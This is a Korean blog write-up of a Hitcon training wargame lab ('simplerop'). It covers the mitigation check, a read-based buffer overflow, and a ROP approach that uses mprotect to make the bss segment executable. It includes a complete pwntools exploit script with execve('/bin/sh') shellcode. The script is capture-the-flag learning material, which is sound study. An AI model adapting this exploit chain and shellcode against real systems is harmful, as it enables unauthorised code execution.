728x90
[Hicon training]
1. 문제
1) mitigation 확인
NX가 걸려있다. 또한 아이다로 까보면 함수가 엄청 많은데
file 명령으로 확인해보면 static으로 라이브러리가 링킹되어있는것을 확인할 수 있다
2) 문제 확인
ROP가 쉽지 않냐고 물어본다. 그리고 입력을 받는다. 끝이다
3) 코드흐름 파악
read로 인해 BOF를 일으킬수 있다
2. 접근방법
static링킹이기 때문에 아이다에서 syscall을 이용할수 있다. int 80; 함수가 있기 때문이다. 처음에 ret에 read로 돌려서 bss 영역에 /bin/sh 을 저장한뒤, int 80; 으로 돌려서 execve를 실행시킬라고 했다.
/bins/sh 문자열까지는 저장했는데, execve syscall
을 하기위해서 eax, ecx, ebx, edx
를 가젯으로 조져줘야하는데, 하다가 먼가 더러워서 그냥 mprotect
로 권한 준다음 쉘코드 삽입으로 해결했다.
3. 풀이
시나리오
- ret를 read로 돌려서 bss영역에 쉘코드를 입력할수 있게 한다
- 그다음 mprotect로 돌려서 bss 영역에 사이즈는 10000, 권한은 7로 설정한다
- 마지막으로 bss로 ret를 돌려서 쉘코드를 실행시킨다
최종 익스코드는 다음과 같다
from pwn import *
context(arch="i386", os="linux",log_level="DEBUG")
p=process("./simplerop")
#gdb.attach(p,'code\nb *0xE6E+$code\n')
read_plt=0x806cd50
bss=0x080e9000
shellcode="\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
shellcode=shellcode.rjust(80,"\x90")
payload="A"*0x20+p32(0x806cd50)+p32(0x08048913)+p32(0)+p32(bss)+p32(80)+p32(0x0806d870)+p32(0x08048913)+p32(bss)+p32(10000)+p32(7)+p32(bss)
p.recvuntil("input :")
pause()
p.sendline(payload)
p.sendline(shellcode)
p.interactive()
4. 몰랐던 개념
- none
728x90
'워게임 > Hitcon training' 카테고리의 다른 글
[Hicon training] LAB 7 (0) | 2020.04.15 |
---|---|
[Hicon training] LAB 6 (0) | 2020.04.14 |
[Hicon training] LAB 4 (0) | 2020.04.13 |
[Hicon training] LAB 3 (0) | 2020.04.13 |
[Hicon training] LAB 2 (0) | 2020.04.13 |